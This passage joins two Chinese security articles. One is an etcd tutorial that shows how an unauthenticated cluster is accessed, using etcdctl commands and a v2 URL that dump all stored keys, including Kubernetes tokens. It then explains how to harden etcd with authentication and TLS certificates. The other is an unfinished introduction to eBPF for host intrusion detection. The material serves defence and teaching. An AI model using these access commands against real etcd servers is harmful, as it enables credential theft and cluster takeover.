-initial-advertise-peer-urls http://172.16.2.3:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new
参数说明：
参数项 | 说明
---|---
-name | etcd集群中的节点名，各节点可区分不重复即可。
-advertise-client-urls | 客户端（etcdctl/curl等）与当前节点通信的URL。
-initial-advertise-peer-urls | 其他节点与当前节点通信的URL。
-listen-client-urls | 当前节点监听的URL，用于跟客户端通信。
-listen-peer-urls | 当前节点监听的URL，用于其他节点与当前节点通信，集群内部将通过这些URL进行数据交互(如选举，数据同步等)。
-initial-cluster-token | 启动集群的时候指定集群token，只有token相同的节点才能加入到同一集群。当使用相同配置再启动一个集群时，只要该 token 值不一样，etcd 集群就不会相互影响。
-initial-cluster | 所有集群节点的url列表。
-initial-cluster-state | 初始化集群状态，默认为new，也可以指定为existing表示要加入到一个已有集群。
# 查看docker进程
docker ps
更多的安装和部署方式可参考：
<http://blueskykong.com/2020/05/27/etcd-2/>
<http://blueskykong.com/2020/06/06/etcd-3/>
## 三、未授权访问利用
刚刚我们搭建好的etcd环境，没有经过特殊配置，默认是未经授权即可访问的。
使用官方提供的etcdctl直接用命令行即可访问etcd，无需去了解每个http api。
下载etcd：<https://github.com/etcd-io/etcd/releases>
解压后在命令行中进入etcd目录下。
etcdctl api版本切换：
export ETCDCTL_API=2
export ETCDCTL_API=3
切换版本后可以执行`etcdctl -h`命令查看帮助。
目前网上的公开文章大部分都是在讲v2版本api的利用，比如：
直接访问<http://ip:2379/v2/keys/?recursive=true> ，可以看到所有的key-value值。
或者使用etcdctl：
etcdctl --endpoints="http://ip:2379" ls
etcd v3版本的api和v2版本完全不同，所以访问上面的url不会看到任何数据。这里主要简单介绍一下v3版本api的使用。
搭建好上面的测试环境后，可以执行以下命令，向etcd中插入几条测试数据：
etcdctl --endpoints=192.168.126.143:23791 put /testdir/testkey1 "Hello world1"
etcdctl --endpoints=192.168.126.143:23791 put /testdir/testkey2 "Hello world2"
etcdctl --endpoints=192.168.126.143:23791 put /testdir/testkey3 "Hello world3"
查看指定key的值：
etcdctl --endpoints=192.168.126.143:23791 get /testdir/testkey1
执行下面命令即可读取etcd中存储的所有数据：
etcdctl --endpoints=192.168.126.143:23791 get / --prefix
`--prefix`用来指定前缀，上述命令的意思就是获取所有“/”作为前缀的key value值
如果结果过多，还可以通过`--limit`选项限制数量：
etcdctl --endpoints=192.168.126.143:23791 get / --prefix --limit=2
下面命令可用于列出当前目标所属同一集群的所有节点：
etcdctl --endpoints=192.168.126.143:23791 member list
更多etcdctl使用示例可以在压缩包中的：README-etcdctl.md、READMEv2-etcdctl.md文档里查看，分别对应v3、v2版本api。
## 四、未授权访问可能产生的风险
kubernetes的master会安装etcd
v3用来存储数据，如果管理员进行了错误的配置，导致etcd未授权访问的情况，那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token，从而接管集群。
在真实的场景中，还有一些应用使用etcd来存储各种服务的账号密码、公私钥等敏感数据。而很多etcd服务的使用者完全没有考虑过其安全风险，这种情况和redis的使用情况差不多，在企业内网比较普遍，甚至也有少部分人会将其开放到公网。
更多关于etcd未授权访问风险的描述可参考：<https://gcollazo.com/the-security-footgun-in-etcd/>
## 五、如何安全的使用etcd（修复方案）
etcd目前支持两种安全方案，分别解决了不同问题。
### 1、basic认证（基于角色的访问控制）
这种安全方案解决了用户认证和权限管理的问题。
etcd在2.1版本之前，是一个完全开放的系统，任何人都可以通过rest
api对etcd数据进行增删改查。2.1版本之后，引入了用户认证功能，并且支持权限管理。但为了向前兼容，默认并未开启，需要手动启用。
etcd 2.x版本开启basic认证的相关命令和etcd
3.x版本有所区别，可以参考：<https://blog.csdn.net/ucmir183/article/details/84454506>
此处主要讲解etcd 3.x版本开启basic认证的过程。首先创建root用户：
etcdctl --endpoints=192.168.126.143:23791 user add root
如图，输入密码，重复输入并确认密码后创建成功：
接下来执行下面命令启用认证：
etcdctl --endpoints=192.168.126.143:23791 auth enable
启用认证后会自动为root账号创建一个root角色，该角色拥有全部etcd数据的读写权限。接下来访问etcd就必须要带着账号密码了。
例如：
查看所有角色：
etcdctl --endpoints=192.168.126.143:23791 --user root:password role list
查看所有用户：
etcdctl --endpoints=192.168.126.143:23791 --user root:password user list
创建一个新的角色：
etcdctl --endpoints=192.168.126.143:23791 --user root:password role add staff
授予staff角色/testdir/testkey1只读权限：
etcdctl --endpoints=192.168.126.143:23791 --user root:password role grant-permission staff read /testdir/testkey1
授予staff角色/pub/作为key前缀的所有数据读写权限：
etcdctl --endpoints=192.168.126.143:23791 --user root:password role grant-permission staff --prefix=true readwrite /pub/
查看staff角色权限：
etcdctl --endpoints=192.168.126.143:23791 --user root:password role get staff
结果如图：
创建一个新用户：
etcdctl --endpoints=192.168.126.143:23791 --user root:password user add staffuser1
同样需要输入要创建用户的密码。
授予staffuser1用户staff角色权限：
etcdctl --endpoints=192.168.126.143:23791 --user root:password user grant-role staffuser1 staff
创建后的staffuser1用户将拥有我们之前配置的staff角色的数据访问权限。
更多访问控制相关命令可参考官方文档：<https://etcd.io/docs/v3.4/op-guide/authentication/>
### 2、基于TLS的身份验证和数据传输
互联网中所有明文传输数据的方式，都面临三个风险：窃听、篡改和冒充。SSL/TLS协议的出现解决了这三个问题。
基于TLS的身份验证方式既解决了传输安全的问题，也可以用来解决未授权访问的问题。
TLS协议的原理不在这里赘述，如果不了解可以自行查阅相关资料。接下来主要讲etcd如何使用TLS进行身份验证和数据传输的实践。
首先我们需要下载cfssl：<https://github.com/cloudflare/cfssl/releases>
cfssl 是 CloudFlare 的 PKI证书管理工具。
下载cfssl-certinfo_1.5.0_linux_amd64、cfssljson_1.5.0_linux_amd64、cfssl_1.5.0_linux_amd64这三个文件，下载后全部移动到/usr/local/bin/目录下。
[root@localhost Downloads]# mv cfssl_1.5.0_linux_amd64 /usr/local/bin/cfssl
[root@localhost Downloads]# mv cfssljson_1.5.0_linux_amd64 /usr/local/bin/cfssljson
[root@localhost Downloads]# mv cfssl-certinfo_1.5.0_linux_amd64 /usr/local/bin/cfssl-certinfo
[root@localhost Downloads]# ls /usr/local/bin/cfssl*
/usr/local/bin/cfssl /usr/local/bin/cfssl-certinfo /usr/local/bin/cfssljson
创建将要存放PKI配置和证书的目录，并进入目录下：
[root@localhost /]# mkdir /etc/etcd/pki -p
[root@localhost /]# cd /etc/etcd/pki/
#### 2.1 创建CA根证书
[root@localhost pki]# vi ca-csr.json
填入下面内容：
{
"CN": "ETCD Root CA",
"key": {
"algo": "rsa",
"size": 2048
},
"names": [
{
"C": "CN",
"L": "Shanghai",
"ST": "Shanghai"
}
]
}
生成根证书和key
[root@localhost pki]# cfssl gencert -initca ca-csr.json | cfssljson -bare ca
[root@localhost pki]# ls
ca.csr ca-csr.json ca-key.pem ca.pem
#### 2.2 签发证书配置文件
我们需要签发三种证书，创建ca-config.json文件，定义三个profile：
{
"signing": {
"default": {
"expiry": "168h"
},
"profiles": {
"server": {
"expiry": "8760h",
"usages": [
"signing",
"key encipherment",
"server auth"
]
},
"client": {
"expiry": "8760h",
"usages": [
"signing",
"key encipherment",
"client auth"
]
},
"peer": {
"expiry": "8760h",
"usages": [
"signing",
"key encipherment",
"server auth",
"client auth"
]
}
}
}
}
其中，server作为服务端与客户端通信时的服务端证书，client作为服务端与客户端通信时的客户端证书，peer作为集群节点之间的通信证书。
#### 2.3 生成服务端证书
创建etcd-server.json文件
{
"CN": "etcd server",
"hosts": [
"172.16.2.1",
"172.16.2.2",
"172.16.2.3",
"192.168.126.143"
],
"key": {
"algo": "rsa",
"size": 2048
},
"names": [
{
"C": "CN",
"L": "Shanghai",
"ST": "Shanghai"
}
]
}
生成服务端证书:
[root@localhost pki]# cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=server etcd-server.json | cfssljson -bare server
2021/03/31 07:24:58 [INFO] generate received request
2021/03/31 07:24:58 [INFO] received CSR
2021/03/31 07:24:58 [INFO] generating key: rsa-2048
2021/03/31 07:24:58 [INFO] encoded CSR
2021/03/31 07:24:58 [INFO] signed certificate with serial number 545742070794152469099370572346380711975550497369
[root@localhost pki]# ls
ca-config.json ca-csr.json ca.pem server.csr server.pem
ca.csr ca-key.pem etcd-server.json server-key.pem
上面这种方式，把所有节点的ip都写到了hosts中，集群成员使用统一的服务端证书。生产环境一般把hosts写成统一的对外域名。也可以分开创建三个配置文件，每个配置文件里面填写一个ip，不公用，这样方便后面扩容。
#### 2.4 生成客户端证书
创建etcd-client.json文件，因为客户端证书仅用于签发验证客户端身份，因此不需要hosts字段。
{
"CN": "etcd client",
"key": {
"algo": "rsa",
"size": 2048
},
"names": [
{
"C": "CN",
"L": "Shanghai",
"ST": "Shanghai"
}
]
}
生成客户端证书：
[root@localhost pki]# cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=client etcd-client.json | cfssljson -bare client
由于没有填写hosts字段，因此会有“[WARNING] This certificate lacks a “hosts” field.
”的警告，忽略就好。
#### 2.5 生成peer节点通信证书
创建etcd-peer.json文件：
{
"CN": "etcd peer",
"hosts": [
"172.16.2.1",
"172.16.2.2",
"172.16.2.3"
],
"key": {
"algo": "rsa",
"size": 2048
},
"names": [
{
"C": "CN",
"L": "Shanghai",
"ST": "Shanghai"
}
]
}
生成peer节点通信证书：
[root@localhost pki]# cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=peer etcd-peer.json | cfssljson -bare peer
#### 2.6 重新创建带TLS传输认证的etcd集群
首先停止运行之前创建的etcd集群，并将其删除。
[root@localhost w4ter0]# docker stop $(docker ps -a -q)
9cc6afc100ad
56148a0ebae2
43ef4286ca34
[root@localhost w4ter0]# docker rm $(docker ps -a -q)
9cc6afc100ad
56148a0ebae2
43ef4286ca34
执行下面命令创建新的etcd集群。
节点1:
docker run -d -p 23791:2379 -p 23801:2380 \
-v /etc/etcd/pki:/pki \
--name etcdnode1 \
--network=mynet \
--ip 172.16.2.1 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode1 \
-advertise-client-urls https://172.16.2.1:2379 \
-initial-advertise-peer-urls https://172.16.2.1:2380 \
-listen-client-urls https://0.0.0.0:2379 \
-listen-peer-urls https://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=https://172.16.2.1:2380,etcdnode2=https://172.16.2.2:2380,etcdnode3=https://172.16.2.3:2380" \
-initial-cluster-state new \
-cert-file=/pki/server.pem \
-key-file=/pki/server-key.pem \
-client-cert-auth \
-trusted-ca-file=/pki/ca.pem \
-peer-client-cert-auth \
-peer-cert-file=/pki/peer.pem \
-peer-key-file=/pki/peer-key.pem \
-peer-trusted-ca-file=/pki/ca.pem
节点2:
docker run -d -p 23792:2379 -p 23802:2380 \
-v /etc/etcd/pki:/pki \
--name etcdnode2 \
--network=mynet \
--ip 172.16.2.2 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode2 \
-advertise-client-urls https://172.16.2.2:2379 \
-initial-advertise-peer-urls https://172.16.2.2:2380 \
-listen-client-urls https://0.0.0.0:2379 \
-listen-peer-urls https://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=https://172.16.2.1:2380,etcdnode2=https://172.16.2.2:2380,etcdnode3=https://172.16.2.3:2380" \
-initial-cluster-state new \
-cert-file=/pki/server.pem \
-key-file=/pki/server-key.pem \
-client-cert-auth \
-trusted-ca-file=/pki/ca.pem \
-peer-client-cert-auth \
-peer-cert-file=/pki/peer.pem \
-peer-key-file=/pki/peer-key.pem \
-peer-trusted-ca-file=/pki/ca.pem
节点3:
docker run -d -p 23793:2379 -p 23803:2380 \
-v /etc/etcd/pki:/pki \
--name etcdnode3 \
--network=mynet \
--ip 172.16.2.3 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode3 \
-advertise-client-urls https://172.16.2.3:2379 \
-initial-advertise-peer-urls https://172.16.2.3:2380 \
-listen-client-urls https://0.0.0.0:2379 \
-listen-peer-urls https://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=https://172.16.2.1:2380,etcdnode2=https://172.16.2.2:2380,etcdnode3=https://172.16.2.3:2380" \
-initial-cluster-state new \
-cert-file=/pki/server.pem \
-key-file=/pki/server-key.pem \
-client-cert-auth \
-trusted-ca-file=/pki/ca.pem \
-peer-client-cert-auth \
-peer-cert-file=/pki/peer.pem \
-peer-key-file=/pki/peer-key.pem \
-peer-trusted-ca-file=/pki/ca.pem
再次访问新创建的etcd集群，直接访问
etcdctl --endpoints="https://192.168.126.143:23791" member list
会报如下错误：
浏览器中访问报错如下：
需要携带客户端的证书和密钥访问。将签发的客户端证书、密钥和ca证书copy到本机etcdctl同级目录下，指定对应参数即可正常访问：
etcdctl --endpoints="https://192.168.126.143:23791" --cacert=ca.pem --cert=client.pem --key=client-key.pem member list
至此，我们完成了基于TLS的身份验证和数据传输配置。
虽然上面两个方案都能解决etcd未授权访问的问题，但是为保证安全，实际使用时强烈建议两种方案同时上，既实现了权限管控，又保障了传输安全。
参考资料：
<https://etcd.io/docs/v3.4/op-guide/>
<https://blog.csdn.net/u011508407/article/details/108549703>
<https://blog.csdn.net/weixin_30788731/article/details/97545042>
<https://www.jianshu.com/p/7bbef1ca9733>
<https://blog.csdn.net/ucmir183/article/details/84454506>
<https://juejin.cn/post/6844903678269210632>
<https://www.cnblogs.com/effortsing/p/10332492.html>
<http://blueskykong.com/categories/etcd/>
<https://gcollazo.com/the-security-footgun-in-etcd/>
**漏洞悬赏计划：涂鸦智能安全响应中心（<https://src.tuya.com> ）欢迎白帽子来探索。**
**招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递sec#tuya.com，请注明来源。** | 社区文章 |
# Linux HIDS开发之eBPF的应用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
BPF（Berkeley Packet Filter ），中文翻译为伯克利包过滤器，是类 Unix
系统上数据链路层的一种原始接口，提供原始链路层封包的收发。1992 年，Steven McCanne 和 Van Jacobson
写了一篇名为《BSD数据包过滤：一种新的用户级包捕获架构》的论文。在文中，作者描述了他们如何在 Unix
内核实现网络数据包过滤，这种新的技术比当时最先进的数据包过滤技术快 20 倍。BPF 在数据包过滤上引入了两大革新：
一个新的虚拟机 (VM) 设计，可以有效地工作在基于寄存器结构的 CPU 之上；
应用程序使用缓存只复制与过滤数据包相关的数据，不会复制数据包的所有信息。这样可以最大程度地减少BPF 处理的数据；
由于这些巨大的改进，所有的 Unix 系统都选择采用 BPF 作为网络数据包过滤技术，直到今天，许多 Unix 内核的派生系统中（包括 Linux
内核）仍使用该实现。
2014 年初，Alexei Starovoitov 实现了 eBPF（extended Berkeley Packet
Filter）。经过重新设计，eBPF 演进为一个通用执行引擎，可基于此开发性能分析工具、软件定义网络等诸多场景。eBPF 最早出现在 3.18
内核中，此后原来的 BPF 就被称为经典 BPF，缩写 cBPF（classic BPF），cBPF 现在已经基本废弃。现在，Linux 内核只运行
eBPF，内核会将加载的 cBPF 字节码透明地转换成 eBPF 再执行。
eBPF 新的设计针对现代硬件进行了优化，所以 eBPF 生成的指令集比旧的 BPF
解释器生成的机器码执行得更快。扩展版本也增加了虚拟机中的寄存器数量，将原有的 2 个 32 位寄存器增加到 10 个 64
位寄存器。由于寄存器数量和宽度的增加，开发人员可以使用函数参数自由交换更多的信息，编写更复杂的程序。总之，这些改进使 eBPF 版本的速度比原来的 BPF
提高了 4 倍。
eBPF 在 Linux 3.18 版本以后引入，并不代表只能在内核 3.18+ 版本上运行，低版本的内核升级到最新也可以使用 eBPF
能力，只是可能部分功能受限，比如我测试在CentOS7 3.10.940 以上都可以受限使用部分eBPF功能，低版本CentOS7
可以yum升级内核，重启支持部分eBPF 功能。
# yum install kernel kernel-devel kernel-headers -y
# reboot
eBPF 分为用户空间程序和内核程序两部分：
用户空间程序负责加载 BPF 字节码至内核，如需要也会负责读取内核回传的统计信息或者事件详情；
内核中的 BPF 字节码负责在内核中执行特定事件，如需要也会将执行的结果通过 maps 或者 perf-event 事件发送至用户空间；
其中用户空间程序与内核 BPF 字节码程序可以使用 map 结构实现双向通信，这为内核中运行的 BPF 字节码程序提供了更加灵活的控制。
用户空间程序与内核中的 BPF 字节码交互的流程主要如下：
我们可以使用 LLVM工具将编写的 BPF 代码程序编译成 BPF 字节码；
然后使用加载程序 Loader 将字节码加载至内核；内核使用验证器（verfier）
组件保证执行字节码的安全性，以避免内核panic，在确认字节码安全后将其加载对应的内核模块执行；BPF 观测技术相关的程序程序类型可能是
kprobes/uprobes/tracepoint/perf_events 中的一个或多个，其中：
kprobes：实现内核中动态跟踪。 kprobes 可以跟踪到 Linux 内核中的导出函数入口或返回点，但是不是稳定 ABI 接口，可能会因为内核版本变化导致，导致跟踪失效。
uprobes：用户级别的动态跟踪。与 kprobes 类似，只是跟踪用户程序中的函数。
tracepoints：内核中静态跟踪。tracepoints 是内核开发人员维护的跟踪点，能够提供稳定的 ABI 接口，但是由于是研发人员维护，数量和场景可能受限。
perf_events：定时采样和 PMC。
内核中运行的 BPF 字节码程序可以使用两种方式将测量数据回传至用户空间
maps 方式可用于将内核中实现的统计摘要信息（比如测量延迟、堆栈信息）等回传至用户空间；
perf-event 用于将内核采集的事件实时发送至用户空间，用户空间程序实时读取分析；
eBPF 技术虽然强大，但是为了保证内核的处理安全和及时响应，内核中的 eBPF
技术也给予了诸多限制，当然随着技术的发展和演进，限制也在逐步放宽或者提供了对应的解决方案。
eBPF 程序不能调用任意的内核参数，只限于内核模块中列出的 BPF Helper 函数，函数支持列表也随着内核的演进在不断增加。
eBPF 程序不允许包含无法到达的指令，防止加载无效代码，延迟程序的终止。
eBPF 程序中循环次数限制且必须在有限时间内结束，这主要是用来防止在 kprobes 中插入任意的循环，导致锁住整个系统；解决办法包括展开循环，并为需要循环的常见用途添加辅助函数。Linux 5.3 在 BPF 中包含了对有界循环的支持，它有一个可验证的运行时间上限。
eBPF 堆栈大小被限制在 MAX_BPF_STACK，截止到内核 Linux 5.8 版本，被设置为 512；参见 include/linux/filter.h，这个限制特别是在栈上存储多个字符串缓冲区时：一个char[256]缓冲区会消耗这个栈的一半。目前没有计划增加这个限制，解决方法是改用 bpf 映射存储，它实际上是无限的。
eBPF 字节码大小最初被限制为 4096 条指令，截止到内核 Linux 5.8 版本， 当前已将放宽至 100 万指令（ BPF_COMPLEXITY_LIMIT_INSNS），参见：include/linux/bpf.h，对于无权限的BPF程序，仍然保留 4096 条限制 ( BPF_MAXINSNS )；新版本的 eBPF 也支持了多个 eBPF 程序级联调用，虽然传递信息存在某些限制，但是可以通过组合实现更加强大的功能。
eBPF支持的内核探针（Kernel
probes）功能，允许开发者在几乎所有的内核指令中以最小的开销设置动态的标记或中断。当内核运行到某个标记的时候，就会执行附加到这个探测点上的代码，然后恢复正常的流程。对内核行为的追踪探测，可以获取内核中发生任何事件的信息，比如系统中打开的文件、正在执行的二进制文件、系统中发生的TCP连接等。
内核动态探针可以分为两种：kprobes 和
kretprobes。二者的区别在于，根据探针执行周期的不同阶段，来确定插入eBPF程序的位置。kprobes类型的探针用于跟踪内核函数调用，是一种功能强大的探针类型，让我们可以追踪成千上万的内核函数。由于它们用来跟踪底层内核的，开发者需要熟悉内核源代码，理解这些探针的参数、返回值的意义。
Kprobes通常在内核函数执行前插入eBPF程序，而kretprobes则在内核函数执行完毕返回之后，插入相应的eBPF程序。比如，tcp_connect()
是一个内核函数，当有TCP连接发生时，将调用该函数，那么如果对tcp_connect()使用kprobes探针，则对应的eBPF程序会在tcp_connect()
被调用时执行，而如果是使用kretprobes探针，则eBPF程序会在tcp_connect() 执行返回时执行。后文会举例说明如何使用Kprobes探针。
尽管Kprobes允许在执行任何内核功能之前插入eBPF程序。但是，它是一种“不稳定”的探针类型，开发者在使用Kprobes时，需要知道想要追踪的函数签名（Function
Signature）。而Kprobes当前没有稳定的应用程序二进制接口（ABI），这意味着它们可能在内核不同的版本之间发生变化。如果内核版本不同，内核函数名、参数、返回值等可能会变化。如果尝试将相同的探针附加到具有两个不同内核版本的系统上，则相同的代码可能会停止工作。
因此，开发者需要确保使用Kprobe的eBPF程序与正在使用的特定内核版本是兼容的。
Tracepoints是在内核代码中所做的一种静态标记，是开发者在内核源代码中散落的一些hook，开发者可以依托这些hook实现相应的追踪代码插入。
开发者在/sys/kernel/debug/tracing/events/目录下，可以查看当前版本的内核支持的所有Tracepoints，在每一个具体Tracepoint目录下，都会有一系列对其进行配置说明的文件，比如可以通过enable中的值，来设置该Tracepoint探针的开关等。与Kprobes相比，他们的主要区别在于，Tracepoints是内核开发人员已经在内核代码中提前埋好的，这也是为什么称它们为静态探针的原因。而kprobes更多的是跟踪内核函数的进入和返回，因此将其称为动态的探针。但是内核函数会随着内核的发展而出现或者消失，因此kprobes对内核版本有着相对较强的依赖性，前文也有提到，针对某个内核版本实现的追踪代码，对于其它版本的内核，很有可能就不工作了。
那么，相比Kprobes探针，我们更加喜欢用Tracepoints探针，因为Tracepoints有着更稳定的应用程序编程接口，而且在内核中保持着前向兼容，总是保证旧版本中的跟踪点将存在于新版本中。
然而，Tracepoints的不足之处在于，这些探针需要开发人员将它们添加到内核中，因此，它们可能不会覆盖内核的所有子系统，只能使用当前版本内核所支持的探测点。
eBPF程序的主要数据结构是eBPF map，一种key-value数据结构。Maps通过bpf()系统调用创建和操作。
有不同类型的Map：
BPF_MAP_TYPE_HASH：哈希表
BPF_MAP_TYPE_ARRAY：数组映射，已针对快速查找速度进行了优化，通常用于计数器
BPF_MAP_TYPE_PROG_ARRAY：对应eBPF程序的文件描述符数组；用于实现跳转表和子程序以处理特定的数据包协议
BPF_MAP_TYPE_PERCPU_ARRAY：每个CPU的阵列，用于实现延迟的直方图
BPF_MAP_TYPE_PERF_EVENT_ARRAY：存储指向struct perf_event的指针，用于读取和存储perf事件计数器
BPF_MAP_TYPE_CGROUP_ARRAY：存储指向控制组的指针
BPF_MAP_TYPE_PERCPU_HASH：每个CPU的哈希表
BPF_MAP_TYPE_LRU_HASH：仅保留最近使用项目的哈希表
BPF_MAP_TYPE_LRU_PERCPU_HASH：每个CPU的哈希表，仅保留最近使用的项目
BPF_MAP_TYPE_LPM_TRIE：最长前缀匹配树，适用于将IP地址匹配到某个范围
BPF_MAP_TYPE_STACK_TRACE：存储堆栈跟踪
BPF_MAP_TYPE_ARRAY_OF_MAPS：地图中地图数据结构
BPF_MAP_TYPE_HASH_OF_MAPS：地图中地图数据结构
BPF_MAP_TYPE_DEVICE_MAP：用于存储和查找网络设备引用
BPF_MAP_TYPE_SOCKET_MAP：存储和查找套接字，并允许使用BPF辅助函数进行套接字重定向
可以使用bpf_map_lookup_elem（）和 bpf_map_update_elem（）函数从eBPF或用户空间程序访问所有Map.
使用 man bpf 查看 bpf 系统调用，int bpf(int cmd, union bpf_attr *attr, unsigned int
size)
第一个参数cmd，如下
BPF_MAP_CREATE： 创建一个 map，并返回一个 fd，指向这个 map，这个 map 在 bpf 是非常重要的数据结构，用于 bpf 程序在内核态和用户态之间相互通信。
BPF_MAP_LOOKUP_ELEM： 在给定一个 map 中查询一个元素，并返回其值
BPF_MAP_UPDATE_ELEM： 在给定的 map 中创建或更新一个元素(关于 key/value 的键值对)
BPF_MAP_DELETE_ELEM： 在给定的 map 中删除一个元素(关于 key/value 的键值对)
BPF_MAP_GET_NEXT_KEY： 在一个特定的 map 中根据 key 值查找到一个元素，并返回这个 key 对应的下一个元素
BPF_PROG_LOAD： 验证并加载一个 bpf 程序。并返回与这个程序关联的 fd。
...... 等等
bpf_attr,第 2 个参数,该参数的类型取决于 cmd 参数的值，本文只分析 cmd=BPF_PROG_LOAD 这种情况，其中 prog_type
指定了 bpf 程序类型，eBPF 程序支持 attach 到不同的 event 上，比如 Kprobe，UProbe，tracepoint，Network
packets，perf event 等。
完整如下：
内核支持的当前eBPF程序类型集为：
BPF_PROG_TYPE_SOCKET_FILTER：网络数据包过滤器
BPF_PROG_TYPE_KPROBE：确定是否应触发kprobe
BPF_PROG_TYPE_SCHED_CLS：网络流量控制分类器
BPF_PROG_TYPE_SCHED_ACT：网络流量控制操作
BPF_PROG_TYPE_TRACEPOINT：确定是否应触发跟踪点
BPF_PROG_TYPE_XDP：从设备驱动程序接收路径运行的网络数据包过滤器
BPF_PROG_TYPE_PERF_EVENT：确定是否触发perf事件处理程序
BPF_PROG_TYPE_CGROUP_SKB：用于cgroups的网络数据包过滤器
BPF_PROG_TYPE_CGROUP_SOCK：用于cgroups的网络数据包过滤器，允许修改socket选项
BPF_PROG_TYPE_LWT_ *：用于隧道的网络数据包过滤器
BPF_PROG_TYPE_SOCK_OPS：用于设置socket参数的程序
BPF_PROG_TYPE_SK_SKB：网络数据包过滤器，用于在socket之间转发数据包
BPF_PROG_CGROUP_DEVICE：确定是否允许设备(device)操作
比如,cmd=BPF_PROG_LOAD 使用，bpf_attr 字段如下：
struct { /* Used by BPF_PROG_LOAD */
__u32 prog_type; //设置为 `BPF_PROG_TYPE_KPROBE`，表示是通过 kprobe 注入到内核函数。
__u32 insn_cnt;
__aligned_u64 insns; /* 'const struct bpf_insn *' */
__aligned_u64 license; // 指定 license
__u32 log_level; /* verbosity level of verifier */
__u32 log_size; /* size of user buffer */
__aligned_u64 log_buf; // 用户buff
__u32 kern_version;
/* checked when prog_type=kprobe
(since Linux 4.1) */
};
size：第三个参数
表示上述 bpf_attr 字节大小。
当加载 bpf 程序时，BPF_PROG_LOAD 表示的是加载具体 bpf 指令，对应 SEC宏 下面的函数代码段。
每条指令的操作码由5部分组成：
struct bpf_insn {
__u8 code; /* opcode(操作码) */
__u8 dst_reg:4; /* dest register(目标寄存器) */
__u8 src_reg:4; /* source register (源寄存器)*/
__s16 off; /* signed offset(偏移)*/
__s32 imm; /* signed immediate constant(立即数) */
};
详见
insns=[
{code=BPF_LDX|BPF_DW|BPF_MEM, dst_reg=BPF_REG_1, src_reg=BPF_REG_1, off=104, imm=0},
{code=BPF_STX|BPF_DW|BPF_MEM, dst_reg=BPF_REG_10, src_reg=BPF_REG_1, off=-8, imm=0},
{code=BPF_ALU64|BPF_X|BPF_MOV, dst_reg=BPF_REG_2, src_reg=BPF_REG_10, off=0, imm=0},
{code=BPF_ALU64|BPF_K|BPF_ADD, dst_reg=BPF_REG_2, src_reg=BPF_REG_0, off=0, imm=0xfffffff8},
{code=BPF_LD|BPF_DW|BPF_IMM, dst_reg=BPF_REG_1, src_reg=BPF_REG_1, off=0, imm=0x4},
{code=BPF_LD|BPF_W|BPF_IMM, dst_reg=BPF_REG_0, src_reg=BPF_REG_0, off=0, imm=0},
{code=BPF_JMP|BPF_K|BPF_CALL, dst_reg=BPF_REG_0, src_reg=BPF_REG_0, off=0, imm=0x3},
{code=BPF_ALU64|BPF_K|BPF_MOV, dst_reg=BPF_REG_0, src_reg=BPF_REG_0, off=0, imm=0},
{code=BPF_JMP|BPF_K|BPF_EXIT, dst_reg=BPF_REG_0, src_reg=BPF_REG_0, off=0, imm=0}
bpf系统调用调用bpf_prog_load来加载ebpf程序。
bpf_prog_load大致有以下几步:
1.调用bpf_prog_alloc为prog申请内存，大小为struct bpf_prog大小+ebpf指令总长度
2.将ebpf指令复制到prog->insns
3.调用bpf_check对ebpf程序合法性进行检查，这是ebpf的安全性的关键所在，不符ebpf规则的load失败
4.调用bpf_prog_select_runtime在线jit，编译ebpf指令成x64指令
5.调用bpf_prog_alloc_id为prog生成id，作为prog的唯一标识的id被很多工具如bpftool用来查找prog
ebpf从bpf的两个32位寄存器扩展到10个64位寄存器R0~R9和一个只读栈帧寄存器，并支持call指令，更加贴近现代64位处理器硬件
R0对应rax， 函数返回值
R1对应rdi， 函数参数1
R2对应rsi， 函数参数2
R3对应rdx， 函数参数3
R4对应rcx， 函数参数4
R5对应r8， 函数参数5
R6对应rbx， callee保存
R7对应r13， callee保存
R8对应r14， callee保存
R9对应r15， callee保存
R10对应rbp，只读栈帧寄存器
可以看到x64的r9寄存器没有ebpf寄存器对应，所以ebpf函数最多支持5个参数。
demo 是在Kali Linux 上开发的。环境搭建比较简单，由于内核不一样，可能修改部分参数：
apt-get install golang clang llvm -y
CentOS 7 可以按下面搭建
添加yum源 ： c7-clang-x86_64.repo
[c7-devtoolset-8]
name=c7-devtoolset-8
baseurl=https://buildlogs.centos.org/c7-devtoolset-8.x86_64/
gpgcheck=0
enabled=1
[c7-llvm-toolset-9]
name=c7-llvm-toolset-9
baseurl=https://buildlogs.centos.org/c7-llvm-toolset-9.0.x86_64/
gpgcheck=0
enabled=1
# yum install llvm-toolset-9.0 -y
# yum install kernel kernel-devel kernel-headers -y
环境变量如下：
export PATH=$PATH:/opt/rh/llvm-toolset-9.0/root/bin
export PATH=$PATH:/opt/rh/devtoolset-8/root/bin
在 /etc/ld.so.conf 添加如下内容，并 ldconfig：
/opt/rh/llvm-toolset-9.0/root/lib64
# reboot 重启一下，应用新的内核
HIDS 开发的核心在于抓取一些高风险 syscall的参数，比如，sys_ptrace() sys_execve(),这些函数被glibc
包装，暴露给用户使用。当用户在glibc调用对应的函数，通过执行CPU指令完成用户态向内核态的转换。32位系统中，通过int
$0x80指令触发系统调用。其中EAX寄存器用于传递系统调用号，参数按顺序赋值给EBX、ECX、EDX、ESI、EDI、EBP这6个寄存器。64位系统则是使用syscall指令来触发系统调用，同样使用EAX寄存器传递系统调用号，RDI、RSI、RDX、RCX、R8、R9这6个寄存器则用来传递参数。系统调用逻辑，如下图：
